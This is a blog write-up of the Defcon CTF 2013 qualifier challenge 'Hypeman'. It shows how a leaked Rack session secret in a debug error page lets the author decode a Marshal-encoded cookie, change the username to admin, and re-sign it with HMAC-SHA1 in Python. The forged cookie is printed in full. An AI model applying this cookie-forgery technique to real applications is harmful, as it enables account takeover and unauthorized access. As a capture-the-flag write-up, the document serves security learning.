Balda's place

Tags

Defcon CTF quals 2013 : Hypeman writeup

Published on 17 June 2013


Upon getting to the web page, we are able to log in or create a user. Once logged in, it is possible to create a new secret message or show an existing one.

The first secret available is called key, and owned by admin. This must be the flag.

Clicking the link shows a Rack error message :

As the error message says, the session variable user_name must be equal to the secret owner (ie. admin) to actually display its content.

Upon login, the application sets a rather big Base-64 encoded cookie which contains all the session variables. Time to look at the Rack source code :

# lib/rack/session/cookie.rb
def set_session(env, session_id, session, options)
    session = session.merge("session_id" => session_id)
    session_data = coder.encode(session)

    if @secrets.first
        session_data << "--#{generate_hmac(session_data, @secrets.first)}"
    end

    if session_data.size > (4096 - @key.size)
        env["rack.errors"].puts("Warning! Rack::Session::Cookie data size exceeds 4K.")
        nil
    else
        session_data
    end
end

[...]

def generate_hmac(data, secret)
    OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret,data)
end

So the cookie contains all the session variables in a Marshaled object, which is then Base-64 encoded. A HMAC is then calculated with a secret key and appended to the session data to form the cookie.

Fortunately, the secret key is given in the Rack error message debug information :

rack.session.options =
    {:path=>"/", :domain=>nil, :expire_after=>nil, :secure=>false,
    :httponly=>true, :defer=>false, :renew=>false, :sidbits=>128,
    :secure_random=>SecureRandom,
    :secret=>"wroashsoxDiculReejLykUssyifabEdGhovHabno",
    :coder=>#<Rack::Session::Cookie::Base64::Marshal:0x000000034e2228>}

What we now need is to create a cookie containing the right session value and recalculate the HMAC to get the flag. As I cannot decently use Ruby, I used Python to simply replace the username to admin :

>>> import hashlib, hmac
>>> # Cookie with username = 'aaaaa'
>>> data = """BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFZDY3Mjg0YmNlNjU2YmI4MTdiYTUy
NGIyNzMzN2ZmZTUxN2UyYmM1NzZhZjQxZjdkZWU3Mzk4ZWFkMDM1YWYxZEki
DXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItYTkyODdk
YzE1OWE0OWExODk2MTM3NGRhMjBmODVmY2FiOWRhOGFmNUkiGUhUVFBfQUND
RVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5
MjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItZGQw
NjVlZDI2M2M2N2Q3OTlmOTQzYWI2YzM5YjU1YzVlMDA4Y2JiNUkiCWNzcmYG
OwBGIkU1YWFjODA5NjY5OGExYWI0OWNkZDIwNWQ1ZjhiZWY1M2VkY2Y1MTRk
ZTc4MDg4NGRiYjIwMDcxZjFjYTc2YTA2SSIOdXNlcl9uYW1lBjsARkkiCmFh
YWFhBjsAVA==
"""
>>> b64 = data.decode('base64')
>>> b64 = b64.replace('aaaaa','admin')
>>> data = b64.encode('base64')
>>> secret = 'wroashsoxDiculReejLykUssyifabEdGhovHabno'
>>> sig = hmac.new(secret,data,hashlib.sha1).hexdigest()

>>> print data+'--'+sig
BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFZDY3Mjg0YmNlNjU2YmI4MTdiYTUyNGIyNzMzN2ZmZTUx
N2UyYmM1NzZhZjQxZjdkZWU3Mzk4ZWFkMDM1YWYxZEkiDXRyYWNraW5nBjsARnsISSIUSFRUUF9V
U0VSX0FHRU5UBjsARiItYTkyODdkYzE1OWE0OWExODk2MTM3NGRhMjBmODVmY2FiOWRhOGFmNUki
GUhUVFBfQUNDRVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5MjVh
YmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItZGQwNjVlZDI2M2M2N2Q3OTlm
OTQzYWI2YzM5YjU1YzVlMDA4Y2JiNUkiCWNzcmYGOwBGIkU1YWFjODA5NjY5OGExYWI0OWNkZDIw
NWQ1ZjhiZWY1M2VkY2Y1MTRkZTc4MDg4NGRiYjIwMDcxZjFjYTc2YTA2SSIOdXNlcl9uYW1lBjsA
RkkiCmFkbWluBjsAVA==
--c2233a144bbb1439bada6a43c91f726c3f56b6c0

Once replaced in the browser, the flag is displayed :